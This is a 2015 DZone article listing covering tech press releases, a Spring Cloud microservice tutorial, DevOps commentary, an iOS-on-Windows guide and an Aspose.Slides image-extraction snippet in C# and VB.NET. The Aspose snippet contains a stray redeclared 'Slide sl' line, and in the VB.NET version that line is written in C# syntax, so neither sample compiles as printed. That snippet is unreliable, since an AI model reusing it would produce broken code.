DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Latest Articles - DZone

article thumbnail
xMatters appoints George Biry as Channel and Alliances Director, EMEA
- Underpins Renewed Global Focus on Indirect Channel Strategy - London, UK. - Wednesday 1st July 2015 - xMatters, inc., a leader in communication-enabled business processes, has announced a key senior appointment to drive the company's EMEA channel programme, a strategy that represents the next step of the firm's expansion. George Biry joins xMatters as Director, EMEA Channels & Alliances and will be responsible for evolving the channel programme to build an even stronger partner ecosystem. He will work closely with resellers, telcos, technology partners and system integrators across EMEA. George will be responsible for leading the strategy of recruiting and managing these partners, in order to expand the firm's customer base. George brings with him more than 20 years of experience in running channel and alliance programmes in EMEA, having previously worked at Ping Identity, QLogic and McData Corp. Most recently George served as Director of Business Development EMEA at Ping, where he built a successful partner programme, including resellers, system integrators, telcos and consulting partners. Here, he led the growth of the EMEA channel share, which increased from 34% to 44% over a 9-month period. Teon Rosandic, VP, EMEA, xMatters said: "Our evolving channel strategy is important in helping us grow the company and expand our customer base even further across EMEA. We are delighted that George, with his vast industry experience and channel pedigree, is now on-board and already making this strategy a reality across the region." He continued: "With our global customer base and worldwide operations, we offer our partners an advanced SaaS communications platform that provides a competitive advantage by effectively managing their customers' communication and alerting issues." xMatters' global customers rely on its award-winning intelligent communications layer to solve two-way enterprise-wide communications and alerting challenges. The technology automatically pinpoints and alerts the required individuals, IT teams and/or external service providers needed to coordinate and collaborate to quickly produce a resolution to rectify a critical IT or business disruption. George Biry Director, EMEA Channels & Alliances said: "xMatters is growing rapidly; and a renewed global focus on the channel represents the next step of the expansion across EMEA. The company has seen huge growth, amazing customer wins and has in place a quality team that is dedicated to providing the best technology and service possible to its customers and partners."
July 1, 2015
by Fran Cator
· 974 Views
article thumbnail
Interoute Virtual Data Centre is the fastest transatlantic cloud service
Double the throughput and lower latency than the leading global cloud providers between the US and Europe in independent comparison research London & New York, 1 July, 2015. Interoute has today announced that its global cloud platform Interoute Virtual Data Centre (VDC), has been proven to deliver nearly double the throughput across the Atlantic than the next best cloud provider in comparison research conducted by Cloud Spectator. The research from March 2015 compared Interoute VDC with three leading cloud providers (Amazon AWS, Rackspace and Microsoft Azure), testing network throughput and latency between Europe and USA and between providers' European data centres. In all of the comparisons, Interoute VDC demonstrated the highest throughputs and lowest latencies. Cloud Spectator's full research report, and more information about Interoute VDC's performance and features, can be viewed here: http://bit.ly/1GHyzwJ Network performance is a significant factor in cloud computing for business services requiring the highest network capacity (throughput) and the shortest possible time from the server to the client (latency), to meet the needs of the businesses and their users. Innovating new applications and business services in the cloud needs network performance to match and this report shows the advantages of building the cloud into a huge global high performance network. Key research findings: Transatlantic: Interoute VDC delivered 1.1 Gbit/s throughput, which was 96% better than Amazon AWS, 141% better than Rackspace, and 195% better than Microsoft Azure. Interoute VDC had the lowest latency, between its London and New York data centres. Interoute was the only provider in the comparison with both of its transatlantic data centres located in key business cities, meaning that VDC users can access compute and storage resources, and deliver data to their customers, from two centres of European and US business activity. Within Europe: Interoute VDC achieved 1.3 Gbit/s throughput between its London and Amsterdam data centres. This was 52% better than Amazon AWS (Dublin - Frankfurt) and 73% better than Microsoft Azure (Dublin - Amsterdam) Interoute VDC achieved a latency of 6 milliseconds between London and Amsterdam, over three times better than the inter-data centre latency of the comparison providers. Matthew Finnie, CTO of Interoute, commented: "This independent report confirms and validates our networked cloud strategy. Building cloud into a world class network provides our customers with significantly better performance when compared with the traditional cloud models. Businesses looking to grow between Europe and US should definitely be looking at the importance of these network characteristics for their ability to shift workloads into the cloud. Interoute's fourteen global zones are all built into high performance network with over 300 interconnects in Europe alone. So wherever you choose to put your data and connect to us, your services are typically going to perform faster on Interoute than on many other global providers." Danny Gee, Senior Analyst, Cloud Spectator: "Users want to transfer large amounts of data between data centres quickly. Our study revealed that for a trans-Atlantic connection between cloud data centers, Interoute provided the highest throughput and lowest latency out of AWS, Rackspace and Azure. Interoute also had the higher network throughput and lowest latency in European testing compared to Azure and AWS (Rackspace was excluded, having only one location in Europe), making it a good option for users operating servers within this region. Interoute also provided the best latency, ideal for real-time communications. Users running geographically dispersed environments for such things as geo-redundancy would benefit from Interoute's high performance cloud connectivity."
July 1, 2015
by Fran Cator
· 1,190 Views
article thumbnail
Bristol Water uses Rezatec landscape intelligence to support its water catchment management programme
Harwell, Oxfordshire, 1st July 2015 - Rezatec is deploying its landscape intelligence portal platform to work with Bristol Water on a ground-breaking project designed to gain a deeper understanding of the impact changing agricultural land use and soil erosion has on water quality in its catchment area. The initiative has a particular focus on changing land use in the Blagdon Reservoir and Chew Valley Reservoir catchments. Rezatec's portal based analytics process satellite and ground data to identify changing patterns of soil erosion and agricultural intensification, which have a significant impact on the quality of the water supply. The Rezatec landscape intelligence platform performs a forty year look back and processes data from 1972 to the present day so as to identify both short and long term changes in the landscape. Landscape factors, such as agricultural practices related to specific crop types, can have a significant bearing on water treatment costs. Diffuse pollution associated with fertilisers and pesticides applied during the crop growth cycle can make its way into upstream water catchments through runoff and soil erosion, necessitating its removal downstream through expensive treatment so as to maintain the quality of the overall water supply. It is hoped that by identifying potential pollution risks before they become an issue, ongoing water treatment costs and the frequency of acute pollution events can be reduced, and requirements to invest in new water treatment infrastructure will be delayed or even avoided. Matthew Pitts, Environmental Programme Delivery Manager for Bristol Water, said: "This new and exciting way of understanding our water catchments promises to bring valuable insights into how we can enhance the environment and manage risks to water treatment and supply." He added: "Using innovative, cutting-edge landscape analytics, we're confident that we can gain a better understanding of the potential pollution risks within our catchment. This will help us to focus efforts towards achieving improved water quality in our reservoirs, bringing ecological benefits, reduced treatment costs and ultimately better value for our customers." Rezatec's Philip Briscoe commented: "From our analysis of different sources of Earth, airborne and ground data, we derive high-value data products which provide our customers with business insight on a macro and micro scale. We're delighted to be providing Bristol Water with landscape intelligence that helps them to make better business decisions to derive tangible benefits for both the company and its customers." The data products are accessible on a subscription basis to clients through Rezatec's landscape intelligence portal that allows water companies to view detailed environmental information about their catchment areas, ultimately supporting informed business decisions. Rezatec analytics help manage risk to the water supply by monitoring changes to agricultural land use and peat and soil integrity at a local and regional scale. As well as Bristol Water, Rezatec is bringing similar insights to other water companies and looks set to benefit many more in the coming months.
July 1, 2015
by Fran Cator
· 970 Views
article thumbnail
How to Access & Extract Images from Presentation Shapes inside .NET Apps
This technical tip explains how .NET developers can extract images from presentation shapes inside their .NET applications. Images are added in slide background and shapes. Sometimes, it is required to extract the images added in the presentation shapes. The images are added in IPPImageCollection inside Presentation Document Object Model (DOM). This article covers the feature of accessing the images in presentation shape, extracting them from presentation collection and saving them in a file. In Aspose.Slides for .NET, images can be added to slide shape and slide background. The images are added in IPPImageCollection of the presentation. In this example we will traverse through each shape inside every slide of presentation and see if there is any image added in slide shape. If the image will be found for any shape, we will extract that and will save it in file. The following code snippet will serve the purpose. // Code Snippet for Extracting images from presentation shapes [C# Code Sample] String path = @"D:\Aspose Data\"; //Accessing the presentation Presentation pres = new Presentation(path + "ExtractImages.pptx"); Aspose.Slides.IPPImage img = null; Aspose.Slides.IPPImage Backimg = null; int slideIndex = 0; String ImageType = ""; bool ifImageFound = false; for (int i = 0; i < pres.Slides.Count; i++) { slideIndex++; //Accessing the first slide ISlide sl = pres.Slides[i]; System.Drawing.Imaging.ImageFormat Format = System.Drawing.Imaging.ImageFormat.Jpeg; //Accessing the first slide Slide sl = pres.getSlideByPosition(i); if (sl.Background.FillFormat.FillType == FillType.Picture) { //Getting the back picture Backimg = sl.Background.FillFormat.PictureFillFormat.Picture.Image; //Setting the desired picture format ImageType = Backimg.ContentType; ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1); Format = GetImageFormat(ImageType); String ImagePath = path + "BackImage_"; Backimg.SystemImage.Save(ImagePath + "Slide_" + slideIndex.ToString() + "." + ImageType, Format); } else { if (sl.LayoutSlide.Background.FillFormat.FillType == FillType.Picture) { //Getting the back picture Backimg = sl.LayoutSlide.Background.FillFormat.PictureFillFormat.Picture.Image; //Setting the desired picture format ImageType = Backimg.ContentType; ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1); Format = GetImageFormat(ImageType); String ImagePath = path + "BackImage_Slide_" + i; Backimg.SystemImage.Save(ImagePath + "LayoutSlide_" + slideIndex.ToString() + "." + ImageType, Format); } } for (int j = 0; j < sl.Shapes.Count; j++) { // Accessing the shape with picture IShape sh = sl.Shapes[j]; if (sh is AutoShape) { AutoShape ashp = (AutoShape)sh; if (ashp.FillFormat.FillType == FillType.Picture) { img = ashp.FillFormat.PictureFillFormat.Picture.Image; ImageType = img.ContentType; ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1); ifImageFound = true; } } else if (sh is PictureFrame) { IPictureFrame pf = (IPictureFrame)sh; if (pf.FillFormat.FillType == FillType.Picture) { img = pf.PictureFormat.Picture.Image; ImageType = img.ContentType; ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1); ifImageFound = true; } } // //Setting the desired picture format if (ifImageFound) { Format = GetImageFormat(ImageType); String ImagePath = path + "Slides\\Image_"; img.SystemImage.Save(ImagePath + "Slide_" + slideIndex.ToString() + "_Shape_" + j.ToString() + "." + ImageType, Format); } ifImageFound = false; } } public static System.Drawing.Imaging.ImageFormat GetImageFormat(String ImageType) { System.Drawing.Imaging.ImageFormat Format = System.Drawing.Imaging.ImageFormat.Jpeg; switch (ImageType) { case "jpeg": Format = System.Drawing.Imaging.ImageFormat.Jpeg; break; case "emf": Format = System.Drawing.Imaging.ImageFormat.Emf; break; case "bmp": Format = System.Drawing.Imaging.ImageFormat.Bmp; break; case "png": Format = System.Drawing.Imaging.ImageFormat.Png; break; case "wmf": Format = System.Drawing.Imaging.ImageFormat.Wmf; break; case "gif": Format = System.Drawing.Imaging.ImageFormat.Gif; break; } return Format; } [VB.NET Code Sample] Dim path As String = "D:\Aspose Data\" 'Accessing the presentation Dim pres As New Presentation(path & "ExtractImages.pptx") Dim img As Aspose.Slides.IPPImage = Nothing Dim Backimg As Aspose.Slides.IPPImage = Nothing Dim slideIndex As Integer = 0 Dim ImageType As String = "" Dim ifImageFound As Boolean = False For i As Integer = 0 To pres.Slides.Count - 1 slideIndex += 1 'Accessing the first slide Dim sl As ISlide = pres.Slides(i) Dim Format As System.Drawing.Imaging.ImageFormat = System.Drawing.Imaging.ImageFormat.Jpeg 'Accessing the first slide Slide sl = pres.getSlideByPosition(i); If sl.Background.FillFormat.FillType = FillType.Picture Then 'Getting the back picture Backimg = sl.Background.FillFormat.PictureFillFormat.Picture.Image 'Setting the desired picture format ImageType = Backimg.ContentType ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1) Format = GetImageFormat(ImageType) Dim ImagePath As String = path & "BackImage_" Backimg.SystemImage.Save(ImagePath & "Slide_" & slideIndex.ToString() & "." & ImageType, Format) Else If sl.LayoutSlide.Background.FillFormat.FillType = FillType.Picture Then 'Getting the back picture Backimg = sl.LayoutSlide.Background.FillFormat.PictureFillFormat.Picture.Image 'Setting the desired picture format ImageType = Backimg.ContentType ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1) Format = GetImageFormat(ImageType) Dim ImagePath As String = path & "BackImage_Slide_" & i Backimg.SystemImage.Save(ImagePath & "LayoutSlide_" & slideIndex.ToString() & "." & ImageType, Format) End If End If For j As Integer = 0 To sl.Shapes.Count - 1 ' Accessing the shape with picture Dim sh As IShape = sl.Shapes(j) If TypeOf sh Is AutoShape Then Dim ashp As AutoShape = CType(sh, AutoShape) If ashp.FillFormat.FillType = FillType.Picture Then img = ashp.FillFormat.PictureFillFormat.Picture.Image ImageType = img.ContentType ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1) ifImageFound = True End If ElseIf TypeOf sh Is PictureFrame Then Dim pf As IPictureFrame = CType(sh, IPictureFrame) If pf.FillFormat.FillType = FillType.Picture Then img = pf.PictureFormat.Picture.Image ImageType = img.ContentType ImageType = ImageType.Remove(0, ImageType.IndexOf("/") + 1) ifImageFound = True End If End If ' 'Setting the desired picture format If ifImageFound Then Format = GetImageFormat(ImageType) Dim ImagePath As String = path & "Slides\Image_" img.SystemImage.Save(ImagePath & "Slide_" & slideIndex.ToString() & "_Shape_" & j.ToString() & "." & ImageType, Format) End If ifImageFound = False Next j Next i End Sub Public Shared Function GetImageFormat(ByVal ImageType As String) As System.Drawing.Imaging.ImageFormat Dim Format As System.Drawing.Imaging.ImageFormat = System.Drawing.Imaging.ImageFormat.Jpeg Select Case ImageType Case "jpeg" Format = System.Drawing.Imaging.ImageFormat.Jpeg Case "emf" Format = System.Drawing.Imaging.ImageFormat.Emf Case "bmp" Format = System.Drawing.Imaging.ImageFormat.Bmp Case "png" Format = System.Drawing.Imaging.ImageFormat.Png Case "wmf" Format = System.Drawing.Imaging.ImageFormat.Wmf Case "gif" Format = System.Drawing.Imaging.ImageFormat.Gif End Select Return Format End Function
July 1, 2015
by David Zondray
· 915 Views
article thumbnail
Study explores the pros and cons of commuting life
The commute to work is something many of us still do, despite the various technical and social changes that render such daily endeavors largely redundant, the office is still the hub of working life. A recent study suggests that many employees, particularly younger ones, would forgo several hundred dollars from their salary in return for a shorter commute. Such thinking was no doubt behind the strategy of Californian company Imo to pay staff to live nearer to their office a few years ago. A recent Australian study, called Commuting Life, found however that the commute isn’t all bad, with a mixture of positive and negative aspects revealed to the authors. The pros and cons of commuting The study, which was chronicled in a dedicated website for the project, found that commuting can provide people with a degree of personal time, whether it’s to relax or dream, away from the responsibilities of working life. Of course, that isn’t to say that it’s all positive. “For a lot of people, commuting is really constraining their freedoms to do things,” the authors say. The study, which interviewed and observed Sydney based commuters, found that our daily travels to and from work change how we behave towards one another, and indeed things such as our level of tolerance, what we want from work and even our longer-term plans. “A stressful commute can change how we treat work colleagues. But it can also have negative impacts on family life, with commuters finding it difficult to relax when they return home,” the authors say. Rather depressingly, the average worker commuted for more than an hour each way, even if they lived with 10km of their office, with the record being a four hour commute from one woman in the study. Despite the apparent drudgery however, some respondents revealed that they enjoyed their commute because it afforded them some time and space to themselves, free from the stresses of both home and work. Key points Our commutes change who we are – specifically in how we behave towards others Our commutes change our relationship with cities – specifically how we access services and undertake regular activities such as shopping Our commutes are ingrained in the rest of our lives – commuting is not a freestanding activity, but is something that reflects and reverberates onto nearly every other aspect of our life in some way Commuting stress is caused by various factors – it isn’t just the time/distance that stresses us about. For instance it might be when the commute is delayed or we don’t get a seat. It is also something that both new and old commuters experience. There are various strategies to alleviate stress – these include policy based strategies such as building new roads or better trains, but also individual strategies, more flexible working options and so on. The authors hope that their study will prod employers and policy makers into looking at the commute and taking it more seriously than is currently the case. “Yes some of these commuting problems fall on state governments. But at the same time there are many other sites of responsibility – our employers and companies for example – who could offer their staff the chance to work from home,” they conclude. Original post
July 1, 2015
by Adi Gaskell
· 967 Views
article thumbnail
Writing a Download Server, Part III: Headers: Content-length and Range
Content-length response header is tremendously helpful for clients that track download progress. There are however some circumstances when obtaining precise content length is hard.
July 1, 2015
by Tomasz Nurkiewicz
· 10,681 Views · 1 Like
article thumbnail
Learning Spring-Cloud - Writing a Microservice
Continuing my Spring-Cloud learning journey, earlier I had covered how to write the infrastructure components of a typical Spring-Cloud and Netflix OSS based micro-services environment - in this specific instance two critical components, Eureka to register and discover services and Spring Cloud Configuration to maintain a centralized repository of configuration for a service. Here I will be showing how I developed two dummy micro-services, one a simple "pong" service and a "ping" service which uses the "pong" service. Sample-Pong microservice The endpoint handling the "ping" requests is a typical Spring MVC based endpoint: @RestController public class PongController { @Value("${reply.message}") private String message; @RequestMapping(value = "/message", method = RequestMethod.POST) public Resource pongMessage(@RequestBody Message input) { return new Resource<>( new MessageAcknowledgement(input.getId(), input.getPayload(), message)); } } It gets a message and responds with an acknowledgement. Here the service utilizes the Configuration server in sourcing the "reply.message" property. So how does the "pong" service find the configuration server, there are potentially two ways - directly by specifying the location of the configuration server, or by finding the Configuration server via Eureka. I am used to an approach where Eureka is considered a source of truth, so in this spirit I am using Eureka to find the Configuration server. Spring Cloud makes this entire flow very simple, all it requires is a "bootstrap.yml" property file with entries along these lines: --- spring: application: name: sample-pong cloud: config: discovery: enabled: true serviceId: SAMPLE-CONFIG eureka: instance: nonSecurePort: ${server.port:8082} client: serviceUrl: defaultZone: http://${eureka.host:localhost}:${eureka.port:8761}/eureka/ The location of Eureka is specified through the "eureka.client.serviceUrl" property and the "spring.cloud.config.discovery.enabled" is set to "true" to specify that the configuration server is discovered via the specified Eureka server. Just a note, this means that the Eureka and the Configuration server have to be completely up before trying to bring up the actual services, they are the pre-requisites and the underlying assumption is that the Infrastructure components are available at the application boot time. The Configuration server has the properties for the "sample-pong" service, this can be validated by using the Config-servers endpoint - http://localhost:8888/sample-pong/default, 8888 is the port where I had specified for the server endpoint, and should respond with a content along these lines: "name": "sample-pong", "profiles": [ "default" ], "label": "master", "propertySources": [ { "name": "classpath:/config/sample-pong.yml", "source": { "reply.message": "Pong" } } ] } As can be seen the "reply.message" property from this central configuration server will be used by the pong service as the acknowledgement message Now to set up this endpoint as a service, all that is required is a Spring-boot based entry point along these lines: @SpringBootApplication @EnableDiscoveryClient public class PongApplication { public static void main(String[] args) { SpringApplication.run(PongApplication.class, args); } } and that completes the code for the "pong" service. Sample-ping micro-service So now onto a consumer of the "pong" micro-service, very imaginatively named the "ping" micro-service. Spring-Cloud and Netflix OSS offer a lot of options to invoke endpoints on Eureka registered services, to summarize the options that I had: 1. Use raw Eureka DiscoveryClient to find the instances hosting a service and make calls using Spring's RestTemplate. 2. Use Ribbon, a client side load balancing solution which can use Eureka to find service instances 3. Use Feign, which provides a declarative way to invoke a service call. It internally uses Ribbon. I went with Feign. All that is required is an interface which shows the contract to invoke the service: package org.bk.consumer.feign; import org.bk.consumer.domain.Message; import org.bk.consumer.domain.MessageAcknowledgement; import org.springframework.cloud.netflix.feign.FeignClient; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; @FeignClient("samplepong") public interface PongClient { @RequestMapping(method = RequestMethod.POST, value = "/message", produces = MediaType.APPLICATION_JSON_VALUE, consumes = MediaType.APPLICATION_JSON_VALUE) @ResponseBody MessageAcknowledgement sendMessage(@RequestBody Message message); } The annotation @FeignClient("samplepong") internally points to a Ribbon "named" client called "samplepong". This means that there has to be an entry in the property files for this named client, in my case I have these entries in my application.yml file: samplepong: ribbon: DeploymentContextBasedVipAddresses: sample-pong NIWSServerListClassName: com.netflix.niws.loadbalancer.DiscoveryEnabledNIWSServerList ReadTimeout: 5000 MaxAutoRetries: 2 The most important entry here is the "samplepong.ribbon.DeploymentContextBasedVipAddresses" which points to the "pong" services Eureka registration address using which the service instance will be discovered by Ribbon. The rest of the application is a routine Spring Boot application. I have exposed this service call behind Hystrix which guards against service call failures and essentially wraps around this FeignClient: package org.bk.consumer.service; import com.netflix.hystrix.contrib.javanica.annotation.HystrixCommand; import org.bk.consumer.domain.Message; import org.bk.consumer.domain.MessageAcknowledgement; import org.bk.consumer.feign.PongClient; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Service; @Service("hystrixPongClient") public class HystrixWrappedPongClient implements PongClient { @Autowired @Qualifier("pongClient") private PongClient feignPongClient; @Override @HystrixCommand(fallbackMethod = "fallBackCall") public MessageAcknowledgement sendMessage(Message message) { return this.feignPongClient.sendMessage(message); } public MessageAcknowledgement fallBackCall(Message message) { MessageAcknowledgement fallback = new MessageAcknowledgement(message.getId(), message.getPayload(), "FAILED SERVICE CALL! - FALLING BACK"); return fallback; } } Boot"ing up I have dockerized my entire set-up, so the simplest way to start up the set of applications is to first build the docker images for all of the artifacts this way: mvn clean package docker:build -DskipTests and bring all of them up using the following command, the assumption being that both docker and docker-compose are available locally: docker-compose up Assuming everything comes up cleanly, Eureka should show all the registered services, at http://dockerhost:8761 url - The UI of the ping application should be available at http://dockerhost:8080 url - Additionally a Hystrix dashboard should be available to monitor the requests to the "pong" app at this url http://dockerhost:8989/hystrix/monitor?stream=http%3A%2F%2Fsampleping%3A8080%2Fhystrix.stream: References 1. The code is available at my github location - https://github.com/bijukunjummen/spring-cloud-ping-pong-sample 2. Most of the code is heavily borrowed from the spring-cloud-samples repository - https://github.com/spring-cloud-samples
July 1, 2015
by Biju Kunjummen
· 13,694 Views · 4 Likes
article thumbnail
DevOps Leadership Series: Gov Does DevOps
This past week, I had the opportunity to catch up with some more industry thought leaders at the DevOpsDays DC event in our nation’s capital. This was the first major DevOps Days event to feature a large audience of government participants. It was an awesome event and is certainly going to be on my must-attend list for next year. First off for the series, I had the chance to chat with Nathen Harvey, the Community Director at Chef. Nathen also did a great job leading the organizing committee for DevOps Days DC. In this episode of the DevOps Leadership Series, Nathen illustrates some recurrent topics he noticed at DevOpsDays DC. Nathen ensures us that government is ready for DevOps, enterprises are ready for DevOps, and small businesses and web innovators are ready for DevOps. Then he highlights how we need to create high velocity organizations that are safe, scalable, and humane for our teams. Next, I had the pleasure of catching up with Greg Elin, the Executive Director at GovReady and former Chief Data Officer at the FCC. What really stood out to Greg at the event was how many people already have their DevOps “sea legs.” He notes the number of different organizations that are comfortable with DevOps, and are familiar with its language and concepts. Finally, I caught up with Dave Johnson, Senior Technical Director at Ansible. Dave shares that “the market really is not dominated yet by any particular player in this (DevOps) space.” Dave explains when he first entered the industry he thought the IT world was dominated by open source and commercial technologies. However, when talking to the industry at large now, he found most the enterprises aren’t yet doing anything yet for automation, and most enterprises are still tackling their problems with humans. Next up in the series, you’ll hear from John Willis (Co-Author of the upcoming DevOps Cookbook) and Leon Fayer (Vice President at OmniTI). If you have missed any of the other videos from this series, you can find them here. (We’re up to 15 so far).
July 1, 2015
by Derek Weeks
· 13,476 Views
article thumbnail
JavaOne 2015 Java EE Track Committee: Johan Vos
This is the third in a series of interviews for you to meet some of the committee members for the JavaOne 2015 Java EE track. The committee plays the most important part in determining the content for JavaOne. These good folks really deserve recognition as most of them devote many hours of their time helping move JavaOne forward, often as volunteers. If JavaOne matters to you, these are folks you should know about. This interview is with Johan Vos. If you are having trouble seeing the embedded video below it is available here. Johan is a Java Champion, author, speaker, blogger, member of the BeJUG steering group, member of the Devoxx steering group and a JCP member. He is a fan of Java EE, GlassFish and JavaFX. He founded LodgON, a company offering Java based solutions for social networking software. In the interview he shares his experience and expectations for the Java EE track this year. On this note, I would like to make sure you know that the JavaOne content catalog is now already live with a few preliminary fairly obvious selections we were able to make. None of the sessions accepted at this stage are from Oracle speakers on our track. The folks that we selected early for acceptance include David Blevins, Jonathan Gallimore, Mohammed Taman, Rafael Benevides and Antoine Sabot-Durand. They will be talking about Java EE Connectors (JCA), Java EE 7 real world adoption, CDI and DeltaSpike. I would encourage you to check out all the early selections in the catalog. We are working to finalize the full catalog shortly. I hope to see you at JavaOne. Do stay tuned for more interviews with committee members and some key speakers on our track.
July 1, 2015
by Reza Rahman
· 1,213 Views
article thumbnail
Gene Kim Explains ‘Why DevOps Matters’
Ever wonder why DevOps gets so much attention these days? The answer is simple: “DevOps solves the most important business problem of our generation, [which is] how organizations make the transition from good to great.” That’s according to Gene Kim, co-author of The Phoenix Project, founder of Tripwire, and a DevOps advocate. Gene headlined a New Relic DevOps roadshow with stops in Chicago, Dallas, and Houston last month, regaling attendees with the inside scoop of what DevOps really is, what it does, and how to make it work (more on that in upcoming blog posts). But perhaps his most important point was the overwhelming importance of the effort. Traditional IT leads to “hopelessness and despair” According to Gene, the opportunity cost of wasted IT spending is some $2.6 trillion. These days, he says, “every company is an IT company”—we like to say “every company is a software company,” but you get the message. Gene observes that 95% of all capital projects have an IT component and 50% of all capital spending is technology related. And every IT organization is pressured to simultaneously respond more quickly to urgent business needs while also providing stable, secure, and predictable IT service. That chronic conflict created what Gene described as “a horrible downward spiral that leads to horrendous outcomes. Every time we cut corners, or manually deploy code, or write code that doesn’t have automated testing, it all leads to the accumulation of technical debt.” And the ever-increasing amount of technical debt sets the stage for intertribal warfare that can exist between dev and ops. Those wars mean that “Devs submit code at 5 p.m. on Friday, and ops then works all weekend to deploy it by 9 a.m. Monday. Everyone becomes buried in unplanned work, and this deprives our ability to pay down the technical debt being created. This led to hopelessness and despair, with everyone doomed to repeat the same mistakes.” DevOps offers a better way Fortunately, Gene explained, “We know now there is a better way. The DevOps exemplars have shown us that we can have incredibly fast flow from dev to ops to deployment while preserving world-class quality and security.” According to Gene, the top predictors of IT performance are all associated with DevOps: Version control of all production artifacts Continuous integration and deployment Automated acceptance testing Peer-review of production changes (vs. external change approval) High-trust culture Proactive monitoring of the production environment Win-win relationship between dev and ops Lead time is the key metric Lead time from raw material to finished product is the key metric in manufacturing, “and that’s true for software, too,” Gene said. “How long does it take to go from code committed to code successfully running in production?” The standard 9-month software lead time common in waterfall development projects is “highly correlated with catastrophic deployment errors,” Gene warned. The key, he said, is to have smaller deployments, and to do them more frequently. That approach is already working for high-performing organizations, he added, who are accelerating away from the herd. “Ten deploys a day used to be startling,” Gene noted. “Now it’s probably considered merely average among high performers.” Amazon Web Services deploys every 11.6 seconds! That kind of speed is possible only by doing small deployments more frequently, Gene said. “The bigger the change, the bigger the crater when it hits.” DevOps correlates with business success! IT high-performers who incorporate DevOps are much more agile and more reliable, Gene said. Critically, he added, “They are more likely to win in the marketplace!” The common reaction to that statement is shock. Gene noted he often hears: “That’s absurd! How can IT ops practices be visible on the bottom line or in the stock price?” But the Puppet Labs 2014 State of DevOps report noted that IT high-performers are twice as likely to exceed profitability, market share, and productivity goals as well as enjoy 50% higher market capitalization growth over three years. Of course, that doesn’t mean all those good things will happen to your company just by moving to DevOps. But do you really want to risk the “horrendous outcomes” of staying with outmoded models that lead to excruciatingly long deployment cycles?
July 1, 2015
by Fredric Paul
· 1,929 Views
article thumbnail
A How to Guide on Developing an iOS App on a Windows PC
While there's no official solution for developing apps for iPhone SDK on Windows, the app development community has been continuously working on finding easy-to-implement alternatives for the same. So, if you too are an iOS app developer , have an app idea and are keen on developing an iOS app on your Windows PC, this is a post for you. In this post, I'll be offering you a handy guide on developing iOS apps on a Windows PC. Pre-requisite for developing an iOS app on a Windows PC Well, you just require a PC with a Dual Core Intel processor with at least 4GB of RAM for being able to create an iOS app on your personal computer. It's recommended to have a Hackintosh which would allow you to run OS X on any unsupported personal computer. Now, let's get straightaway to the steps associated with creation of an iOS application on a PC Step 1- Install a virtual PC application with Mac OS As someone who's serious about iOS Application Development, you can use a suitable free, open source virtualization software like VirtualBox for simulating the installation of Mac OS X on Windows. Here, you'll also require a copy of Mac OS X which can be easily purchased from Apple Store. Step 2- Install XCode on your OS X virtual machine or Hackintosh Irrespective of whether you've chosen a Hackintosh or HAVE installed the Mac OS X on your Windows PC, its time to install XCode.Well, Xcode is basically an IDE(Integrated Development Environment) created by Apple, specially for iphone application development. This IDE includes everything that you need for developing an iOS application. Step 3- Sign up for an Apple Developer account Now that you've installed OS X and Xcode, you'll be required to signup for an Apple Developer account, followed by creation of some basic files. For creating an Apple Development account, you'll require a special certificate. Well, there are two different types of Certificates and Provisioning Profiles viz: Development- used for testing the app, and Production- used for submitting the app to the desired app store. Now, if you already have an access to OS X, then you can easily create a Certificate Signing Request(CSR) using Keychain Access app. However, if you don't have OS X access, then you'll be required to run different commands and get an access to Apple Developer Program. Just follow the below steps for creating a Certificate: Step 1- Open Keychain Access and Request a Certificate As per this step, you'll be required to create a file which will link the computer system to Xcode development and distribution. Just click on Keychain Access-> Certificate Assistant-> Request a Certificate from a Certificate Authority. The screen-shot for this is shown below: Step 2- Enter the Certificate Information Now, on the Certificate Information Page, you need to enter a User Email Address, a common name for your file and select the radio-button for 'Saved to disk' if you want to save the certificate request to your computer system. Finally, click on 'Continue' button to navigate to the next page. Screen-shot for this step is shown below: Step 3- Upload the Certificate Signing Request to Apple Developer portal After having registered on Apple Developer, you just need to click on “Certificates, Identifiers & Profiles” as shown in below screen-shot: After this, click on Certificates as shown in below screen-shot: Step 4- Choose a specific type of certificate While there is a large majority of certificate styles, you need to select one Development Certificate and one Production Certificate. While the former type will be used for testing the apps, the latter one would allow you to upload your iOS app to iTunes. Have a look at below screen-shot: In the above screen-shot, the greyed out Certificate area means that you have already created the limit. Now, you can click on Certificate type available towards the left sidebar, followed by revoking one or more certificates. Next, you'll be required to upload Certificate Signing Request. Have a look at below screen-shot: On the above screen, click 'Continue' for uploading the Cerificate Signing Request and further click on 'Generate' tab as shown below: Step 5- Download and open the Certificate Now that you've generated your certificate, it's time to download and save the same to your computer system. The screen-shot for this step is shown below: After having saved the certificate, find it amongst the list of other certificates stored in your system and double click on it. Here is the screen-shot for the same: Likewise, if you're interested in creating another certificate i.e. Development Certificate, then simply follow the above steps with 'Development Certificate' chosen in place of 'Distribution Certificate'. Submitting your iOS app to the App Store Now that you're done with creating your iOS app, it's time to submit it to the App Store. Well, if you have a Hackintosh or OS X virtual machine, then the process just takes about 2 minutes, but if you don't have any of the two, then things can get a bit complex. To upload an app from Windows PC to iTunes Connect, you can use a program called Application Uploader- available only on Macs. Wrapping Up Here's hoping the above guideline would definitely prove handy the next time you're about to start building applications for the iOS mobile platform.
July 1, 2015
by Amanda Cline
· 7,078 Views · 5 Likes
article thumbnail
Create a Responsive Wordpress Theme from a Photoshop File
